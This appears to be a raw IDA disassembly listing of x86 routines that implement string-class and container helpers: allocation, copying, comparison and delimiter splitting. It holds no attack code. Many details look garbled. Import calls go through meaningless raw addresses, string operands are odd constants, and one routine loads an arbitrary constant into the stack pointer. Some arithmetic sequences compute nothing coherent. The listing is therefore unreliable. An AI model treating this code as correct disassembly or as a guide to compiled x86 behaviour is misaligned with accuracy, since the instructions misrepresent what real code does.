lea ecx, [esp+1Ch+var_10]
push 634E63h
push ecx
mov dword ptr [esi], offset off_437010
call dword ptr ds:31A731h
add esp, 0Ch
lea edx, [esp+18h+var_10]
xor ebx, ebx
mov ecx, esi
push edx
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401564
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
add esp, 10h
retn 4
sub_409720 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409790 proc near ; CODE XREF: sub_4011F9j
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+9]
mov dword ptr [esi], offset off_437010
cmp eax, edi
jz short loc_4097AC
push eax
call sub_430332
add esp, 4
loc_4097AC: ; CODE XREF: sub_409790+11j
mov eax, [esi+0Dh]
mov [esi+9], edi
cmp eax, edi
jz short loc_4097BF
push eax
call sub_430332
add esp, 4
loc_4097BF: ; CODE XREF: sub_409790+24j
mov [esi+0Dh], edi
mov [esi+11h], edi
pop edi
pop esi
retn
sub_409790 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4097E0 proc near ; CODE XREF: sub_401564j
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
test edi, edi
jz short loc_40984A
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+9]
not ecx
dec ecx
test eax, eax
mov ebp, ecx
jz short loc_40980A
push eax
call sub_430332
add esp, 4
loc_40980A: ; CODE XREF: sub_4097E0+1Fj
lea ebx, [ebp+2]
push ebx
call sub_43034A
mov edi, eax
add esp, 4
test edi, edi
mov [esi+9], edi
jz short loc_40984A
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov [esi+11h], ebp
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov eax, [esi+11h]
mov ecx, [esp+10h+arg_0]
mov edx, [esi+9]
push eax
push ecx
push edx
call dword ptr ds:18D398h
add esp, 0Ch
loc_40984A: ; CODE XREF: sub_4097E0+Cj
; sub_4097E0+3Dj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_4097E0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409880 proc near ; CODE XREF: sub_401E65j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401339
push eax
mov ecx, esi
call sub_401564
pop esi
retn 4
sub_409880 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4098B0: ; CODE XREF: _294ADE7B:00401965j
mov eax, [esp+4]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
push 4C69CCh
push ecx
call dword ptr ds:2634E6h
add esp, 0Ch
lea edx, [esp+4]
mov ecx, esi
push edx
call sub_401564
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409900 proc near ; CODE XREF: sub_4019BAj
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebx, ecx
test edi, edi
jz loc_409992
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebx+11h]
not ecx
dec ecx
mov esi, ecx
add esi, edi
lea eax, [esi+1]
push eax
call sub_43034A
mov edi, [ebx+9]
add esp, 4
test edi, edi
mov ebp, eax
jz short loc_409992
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+11h], esi
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [esp+10h+arg_0]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, edx
dec edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx+9]
test eax, eax
jz short loc_40998F
push eax
call sub_430332
add esp, 4
loc_40998F: ; CODE XREF: sub_409900+84j
mov [ebx+9], ebp
loc_409992: ; CODE XREF: sub_409900+Cj
; sub_409900+36j
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409900 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4099D0 proc near ; CODE XREF: sub_40162Cj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401339
push eax
mov ecx, esi
call sub_4019BA
pop esi
retn 4
sub_4099D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A00 proc near ; CODE XREF: sub_401122j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+18h+var_10]
push 531A73h
push ecx
call dword ptr ds:698D39h
add esp, 0Ch
lea edx, [esp+14h+var_10]
mov ecx, esi
push edx
call sub_4019BA
pop esi
add esp, 10h
retn 4
sub_409A00 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A50 proc near ; CODE XREF: sub_4012B7j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_409A67
mov edx, [ecx+9]
xor eax, eax
test edx, edx
setnz al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409A67: ; CODE XREF: sub_409A50+7j
mov eax, [ecx+9]
push ebx
loc_409A6B: ; CODE XREF: sub_409A50+3Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_409A96
test cl, cl
jz short loc_409A8F
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_409A96
add eax, 2
add esi, 2
test cl, cl
jnz short loc_409A6B
loc_409A8F: ; CODE XREF: sub_409A50+27j
pop ebx
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409A96: ; CODE XREF: sub_409A50+23j
; sub_409A50+33j
sbb eax, eax
pop ebx
sbb eax, 0FFFFFFFFh
pop esi
retn 4
sub_409A50 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AC0 proc near ; CODE XREF: sub_401A7Dj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401339
push eax
mov ecx, esi
call sub_4012B7
pop esi
retn 4
sub_409AC0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409AF0: ; CODE XREF: _294ADE7B:0040149Cj
mov eax, [esp+4]
test eax, eax
jnz short loc_409B03
mov edx, [ecx+9]
test edx, edx
setnz al
retn 4
; ---------------------------------------------------------------------------
loc_409B03: ; CODE XREF: _294ADE7B:00409AF6j
push eax
mov eax, [ecx+9]
push eax
call dword ptr ds:34C69Ch
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B30 proc near ; CODE XREF: sub_40201Dj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401339
push eax
mov ecx, esi
call sub_4012B7
pop esi
retn 4
sub_409B30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B60 proc near ; CODE XREF: sub_401B9Aj
push esi
mov esi, ecx
mov eax, [esi+9]
test eax, eax
jz short loc_409B73
push eax
call sub_430332
add esp, 4
loc_409B73: ; CODE XREF: sub_409B60+8j
mov dword ptr [esi+9], 0
pop esi
retn
sub_409B60 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B90 proc near ; CODE XREF: sub_40102Dj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov ecx, 0A5A634h
call sub_430390
mov eax, [esp+arg_2004]
test eax, eax
jz short loc_409BD2
lea ecx, [esp+arg_2008]
lea edx, [esp+0]
push ecx
push eax
push 52D31Ah
push edx
call dword ptr ds:69698Dh
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_401564
loc_409BD2: ; CODE XREF: sub_409B90+13j
add esp, 2000h
retn
sub_409B90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C00 proc near ; CODE XREF: sub_401BFEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4012D5
retn 4
sub_409C00 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C20 proc near ; CODE XREF: sub_4012D5j
arg_0 = byte ptr 4
push ebx
mov ebx, ds:dword_4B3AC4
push esi
push edi
movsx edi, [esp+0Ch+arg_0]
mov esi, ecx
push edi
mov eax, [esi+9]
push eax
call ebx
add esp, 8
test eax, eax
jnz short loc_409C44
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_409C44: ; CODE XREF: sub_409C20+1Cj
mov ecx, [esi+9]
push edi
push ecx
call ebx
mov edi, [esi+9]
add esp, 8
mov eax, 8B4B4Ch
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_409C20 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C70 proc near ; CODE XREF: sub_4017D5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_40174E
retn 4
sub_409C70 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C90 proc near ; CODE XREF: sub_40174Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401339
push eax
mov ecx, esi
call sub_401F91
pop esi
retn 8
sub_409C90 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409CC0 proc near ; CODE XREF: sub_40138Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401F91
retn 4
sub_409CC0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409CE0 proc near ; CODE XREF: sub_401F91j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_409CF5
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_409CF5: ; CODE XREF: sub_409CE0+Bj
mov eax, [esi+9]
mov ebx, ds:dword_4B3ADC
push edi
push eax
call ebx
add esp, 8
test eax, eax
jnz short loc_409D0F
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_409D0F: ; CODE XREF: sub_409CE0+27j
mov ecx, [esi+9]
push edi
push ecx
call ebx
mov edi, [esi+9]
add esp, 8
mov esp, 645A5Ah
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_409CE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D50 proc near ; CODE XREF: sub_401B40j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
test edi, edi
jnz short loc_409D63
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409D63: ; CODE XREF: sub_409D50+Aj
mov eax, [esi+9]
mov [esi+11h], edi
test eax, eax
jz short loc_409D76
push eax
call sub_430332
add esp, 4
loc_409D76: ; CODE XREF: sub_409D50+1Bj
push ebx
lea ebx, [edi+1]
push ebx
call sub_43034A
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [esi+9], edi
add esp, 4
rep stosd
mov ecx, edx
pop ebx
and ecx, 3
rep stosb
mov eax, [esi+9]
pop edi
pop esi
retn 4
sub_409D50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409DD0 proc near ; CODE XREF: sub_401384j
mov eax, [ecx+11h]
retn
sub_409DD0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409DF0 proc near ; CODE XREF: sub_40127Bj
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push 3A2D2Dh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebp
mov ebp, [esp+30h+arg_8]
push esi
xor esi, esi
cmp ebp, 1
mov [esp+34h+var_2C], ecx
mov [esp+34h+var_28], esi
jge short loc_409E42
mov esi, [esp+34h+arg_0]
push 1D1696h
mov ecx, esi
call sub_4017A8
mov eax, esi
pop esi
pop ebp
mov ecx, [esp+2Ch+var_C]
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_409E42: ; CODE XREF: sub_409DF0+2Bj
push ebx
push edi
lea ecx, [esp+3Ch+var_24]
call sub_4013CF
mov [esp+3Ch+var_4], esi
lea esi, [ebp+1]
push esi
call sub_43034A
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+3Ch+arg_4]
and ecx, 3
push ebx
rep stosb
mov eax, [esp+40h+var_2C]
mov ecx, ebp
mov edi, ebx
mov esi, [eax+9]
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+40h+var_24]
call sub_401564
push ebx
call sub_430332
mov esi, [esp+40h+arg_0]
add esp, 4
lea eax, [esp+3Ch+var_24]
mov ecx, esi
push eax
call sub_40146F
lea ecx, [esp+3Ch+var_24]
call sub_4011F9
mov ecx, [esp+3Ch+var_C]
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
sub_409DF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F20 proc near ; CODE XREF: sub_401CF8j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
push edi
mov esi, ecx
mov [esp+0Ch+var_4], 0
call sub_401384
mov ecx, [esp+0Ch+arg_4]
mov edi, [esp+0Ch+arg_0]
sub eax, ecx
push eax
push ecx
push edi
mov ecx, esi
call sub_40127B
mov eax, edi
pop edi
pop esi
pop ecx
retn 8
sub_409F20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409F60: ; CODE XREF: _294ADE7B:00401866j
push ecx
push esi
mov esi, [esp+0Ch]
push 1
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_401F73
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F90 proc near ; CODE XREF: sub_4011C2j
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push 0E8B4Bh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
mov edi, [esp+44h+arg_8]
mov esi, ecx
test edi, edi
mov [esp+44h+var_38], 0
jnz short loc_409FD1
mov esi, [esp+44h+arg_0]
push 745A5h
mov ecx, esi
call sub_4017A8
jmp loc_40A104
; ---------------------------------------------------------------------------
loc_409FD1: ; CODE XREF: sub_409F90+2Aj
lea eax, [esp+44h+arg_8]
lea ecx, [esp+44h+var_34]
push eax
call sub_401604
mov ecx, [esi+9]
mov [esp+44h+var_4], 1
push ecx
lea ecx, [esp+48h+var_24]
call sub_4017A8
lea ecx, [esp+44h+var_24]
mov byte ptr [esp+44h+var_4], 2
call sub_401479
mov [esp+44h+var_3C], eax
mov cl, [eax]
test cl, cl
jz loc_40A0B5
push ebx
loc_40A011: ; CODE XREF: sub_409F90+11Ej
mov dl, [edi]
cmp cl, dl
jnz short loc_40A020
loc_40A017: ; CODE XREF: sub_409F90+8Ej
inc eax
mov [esp+48h+var_3C], eax
cmp [eax], dl
jz short loc_40A017
loc_40A020: ; CODE XREF: sub_409F90+85j
cmp byte ptr [eax], 22h
setz bl
test bl, bl
jz short loc_40A02F
inc eax
mov [esp+48h+var_3C], eax
loc_40A02F: ; CODE XREF: sub_409F90+98j
lea edx, [esp+48h+var_3C]
lea ecx, [esp+48h+var_34]
push edx
call sub_4018B1
mov eax, [esp+48h+var_3C]
test bl, bl
mov cl, [eax]
jz short loc_40A07F
test cl, cl
jz short loc_40A067
loc_40A04B: ; CODE XREF: sub_409F90+D5j
cmp cl, 22h
jnz short loc_40A05C
mov cl, [eax+1]
cmp cl, 20h
jz short loc_40A067
test cl, cl
jz short loc_40A067
loc_40A05C: ; CODE XREF: sub_409F90+BEj
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A04B
loc_40A067: ; CODE XREF: sub_409F90+B9j
; sub_409F90+C6j ...
cmp byte ptr [eax], 0
jz short loc_40A0AA
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
mov cl, [eax+1]
test cl, cl
jz short loc_40A0AA
add eax, 2
jmp short loc_40A0A6
; ---------------------------------------------------------------------------
loc_40A07F: ; CODE XREF: sub_409F90+B5j
test cl, cl
jz short loc_40A094
mov dl, [edi]
loc_40A085: ; CODE XREF: sub_409F90+102j
cmp cl, dl
jz short loc_40A094
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A085
loc_40A094: ; CODE XREF: sub_409F90+F1j
; sub_409F90+F7j
mov cl, [eax]
test cl, cl
jz short loc_40A0AA
cmp cl, [edi]
jnz short loc_40A0AA
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
inc eax
loc_40A0A6: ; CODE XREF: sub_409F90+EDj
mov [esp+48h+var_3C], eax
loc_40A0AA: ; CODE XREF: sub_409F90+DAj
; sub_409F90+E8j ...
mov cl, [eax]
test cl, cl
jnz loc_40A011
pop ebx
loc_40A0B5: ; CODE XREF: sub_409F90+7Aj
lea ecx, [esp+44h+var_34]
call sub_4011D1
mov ecx, [esp+44h+arg_4]
cmp ecx, eax
jb short loc_40A0CD
push 3A2D2h
jmp short loc_40A0DA
; ---------------------------------------------------------------------------
loc_40A0CD: ; CODE XREF: sub_409F90+134j
push ecx
lea ecx, [esp+48h+var_34]
call sub_401E1A
mov eax, [eax]
push eax
loc_40A0DA: ; CODE XREF: sub_409F90+13Bj
mov esi, [esp+48h+arg_0]
mov ecx, esi
call sub_4017A8
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_38], 1
call sub_4011F9
lea ecx, [esp+44h+var_34]
mov byte ptr [esp+44h+var_4], 0
call sub_40151E
loc_40A104: ; CODE XREF: sub_409F90+3Cj
mov ecx, [esp+44h+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_409F90 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A190 proc near ; CODE XREF: sub_401622j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
mov eax, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push 0
push eax
push edx
push esi
mov [esp+18h+var_4], 0
call sub_4011C2
mov eax, esi
pop esi
pop ecx
retn 0Ch
sub_40A190 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1D0 proc near ; CODE XREF: sub_401EABj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401339
push eax
mov ecx, esi
call sub_401564
pop esi
retn 4
sub_40A1D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A200 proc near ; CODE XREF: sub_4019A1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401564
retn 4
sub_40A200 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A220 proc near ; CODE XREF: sub_40141Aj
arg_0 = dword ptr 4
mov eax, [ecx+9]
mov ecx, [esp+arg_0]
add eax, ecx
retn 4
sub_40A220 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A240: ; CODE XREF: _294ADE7B:00401447j
mov eax, [ecx+9]
mov ecx, [esp+4]
add eax, ecx
retn 4
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A260 proc near ; CODE XREF: sub_401339j
mov eax, [ecx+9]
retn
sub_40A260 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A280 proc near ; CODE XREF: sub_401726j
mov eax, [ecx+9]
retn
sub_40A280 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A2A0 proc near ; CODE XREF: sub_401479j
mov eax, [ecx+9]
retn
sub_40A2A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A2C0 proc near ; CODE XREF: sub_401604j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_40A2C0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A2F0 proc near ; CODE XREF: sub_40151Ej
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4018CA
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011C7
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
sub_40A2F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A340 proc near ; CODE XREF: sub_4011D1j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40A34A
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40A34A: ; CODE XREF: sub_40A340+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_40A340 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A370 proc near ; CODE XREF: sub_401E1Aj
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_4011D1
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_40A388
mov ecx, esi
call sub_401DAC
loc_40A388: ; CODE XREF: sub_40A370+Fj
mov ecx, esi
call sub_401BF9
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_40A370 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A3B0 proc near ; CODE XREF: sub_4018B1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4015CD
push eax
mov ecx, esi
call sub_40165E
pop esi
retn 4
sub_40A3B0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A3E0 proc near ; CODE XREF: sub_401BF9j
mov eax, [ecx+4]
retn
sub_40A3E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A400 proc near ; CODE XREF: sub_4015CDj
mov eax, [ecx+8]
retn
sub_40A400 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A420 proc near ; CODE XREF: sub_40165Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401BF9
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_40137A
mov ecx, edi
call sub_401BF9
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_40A420 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A470 proc near ; CODE XREF: sub_4018CAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_40A490
loc_40A481: ; CODE XREF: sub_40A470+1Ej
push esi
mov ecx, edi
call sub_4017E4
add esi, 4
cmp esi, ebx
jnz short loc_40A481
loc_40A490: ; CODE XREF: sub_40A470+Fj
pop edi
pop esi
pop ebx
retn 8
sub_40A470 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A4B0: ; CODE XREF: sub_401DACj
push 0FFFFFFFFh
push 1D169h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset loc_40E8B4
call dword ptr ds:20745Ah
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
call dword ptr ds:503A2Dh
lea edx, [esp+14h]
push 681D16h
push edx
call sub_430382
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A530 proc near ; CODE XREF: sub_4011C7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_40A530 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A550 proc near ; CODE XREF: sub_40137Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40A61B
mov ecx, esi
call sub_4011D1
cmp edi, eax
jnb short loc_40A583
mov ecx, esi
call sub_4011D1
mov ebp, eax
jmp short loc_40A585
; ---------------------------------------------------------------------------
loc_40A583: ; CODE XREF: sub_40A550+26j
mov ebp, edi
loc_40A585: ; CODE XREF: sub_40A550+31j
mov ecx, esi
call sub_4011D1
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401CA3
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4010B9
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401FE6
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4010B9
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4018CA
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011C7
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_4011D1
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
